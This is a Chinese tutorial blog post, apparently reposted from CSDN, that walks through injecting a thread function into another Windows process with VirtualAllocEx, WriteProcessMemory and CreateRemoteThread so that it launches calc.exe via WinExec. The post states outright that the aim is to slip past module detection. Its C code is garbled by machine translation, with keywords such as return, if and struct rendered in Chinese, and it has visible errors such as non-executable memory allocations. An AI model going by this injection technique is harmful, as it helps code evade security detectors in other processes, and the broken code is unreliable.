代码注入之启动计算器

代码注入之启动计算器控制目标进程加载自己的dll文件很容易被模块检测的手段察觉,因此我们可以向目标进程注入一段代码而非一个模块来规避检测手段
1 注入代码编写原则
(1)不能有全局变量 &#xf

控制目标进程加载自己的dll文件很容易被模块检测器检测到,因此可以将一段代码注入到目标进程而不是模块中来绕过检测器。

1 注入代码编写原则

(1)全局变量不能存在

(2) 不允许常量字符串

(3) 不能使用系统调用

(4) 不能嵌套调用其他函数

如果使用上述方法创建一个函数并进行反汇编,您将看到它的访问地址是固定的。这个固定地址的机器代码不能被注入到其他进程中。

2 传递参数和函数

如果遵循以上四个编写原则,就可以利用Windows提供的API为目标进程编写参数和函数并执行。该方法不添加模块。

3 实验

首先,编写注入代码。

#include Windows.h

typedef 结构体参数块

{

DWORD LoadExeFunAddr;

LPCSTR lpCmdLine;

UINT uCmdShow;

}参数块,*PParameterBlock;

typedef HANDLE(WINAPI* LoadExe)(

LPCSTR lpCmdLine,

UINT uCmdShow

);

DWORD WINAPI ThreadProc(LPVOID lParam) {

PParameterBlock pb=(PParameterBlock)lParam;

LoadExe 文件=(LoadExe)pb-LoadExeFunAddr;

le(pb-lpCmdLine, pb-uCmdShow);

返回0。

}

BOOL LoadParamAndFun(DWORD PID, char* ExeName) {

参数块pb;

双字型FunSize=0x400;

//1. 获取进程句柄。

HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

//2. 分配参数、函数和可执行文件名称。

LPVOID ParamBlockAddr=VirtualAllocEx(hProc, NULL, sizeof(pb), MEM_COMMIT, PAGE_READWRITE);

LPVOID NewThreadAddr=VirtualAllocEx(hProc, NULL, FunSize, MEM_COMMIT, PAGE_READWRITE);

LPVOID ExeNameAddr=VirtualAllocEx(hProc, NULL, strlen(ExeName) + 1, MEM_COMMIT, PAGE_READWRITE);

//3. 为结构体赋值。

pb.uCmdShow=SW_SHOWNORMAL;

//4. 获取WinExec的地址。

HMODULE hMoudle=LoadLibrary(\’kernel32.dll\’);

pb.LoadExeFunAddr=(DWORD)GetProcAddress(hMoudle, \’WinExec\’);

FreeLibrary(hMoudle);

//初始化5.exe名称

pb.lpCmdLine=(LPCSTR)ExeNameAddr;

//6.改变线程函数的起始位置。

DWORD FunAddr=(DWORD)ThreadProc;

如果(*(字节*)FunAddr==0xE9){

FunAddr=FunAddr + 5 + *(DWORD*)(FunAddr + 1);

}

//7. 传输结构、参数和函数

WriteProcessMemory(hProc, ParamBlockAddr, pb, sizeof(pb), 0);

WriteProcessMemory(hProc, NewThreadAddr, (LPVOID)FunAddr, FunSize, 0);

WriteProcessMemory(hProc, ExeNameAddr, ExeName, strlen(ExeName) + 1, 0);

//8. 创建远程线程。

HANDLE pThread=CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)NewThreadAddr, ParamBlockAddr, 0, NULL);

关闭句柄(hProc);

返回TRUE。

}

int main() {

LoadParamAndFun(3752, \’E:\\\\Windows\\\\system32\\\\calc.exe\’);

返回0。

}

它使用Windows提供的一个API,即WinExec函数,可以运行exe程序。相关参数含义请参考微软文档。

UINT WinExec(

[输入] LPCSTR lpCmdLine,

[输入] UINT uCmdShow

);

然后启动记事本程序并显示其PID。

将PID和计算器的地址输入到程序中。

当我编译并运行它时,计算器运行并且实验成功。

4 代码解释

这一部分我们主要讲一下注意事项6,即为什么要改变接收函数的地址。这可以通过打开拆解来轻松验证。

原来函数的起始地址并不是函数的实际地址,而是一个跳转。在上图中,0B81840是该函数的实际地址。因此需要进行函数地址转换,将函数的实际内容复制到目标进程内存中。

5 踩坑和疑问

1、该程序在物理机Win10环境下直接导致注入进程崩溃,但在虚拟机XP环境下可以成功运行。

2.我开始写代码的时候,没有去掉项目自动生成的#include iostream。然而,经过实验,我发现如果我继续运行这一行,插入的进程就会崩溃。我不知道为什么。

3. 看下面的代码。没有将ParameterBlock 和LoadExe 转发到注入的进程。那么注入的进程如何识别这些结构呢?

以上关于代码注入启动#calculator的相关内容摘自网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93773.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月26日 下午1:41
下一篇 2024年7月26日 下午1:41

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注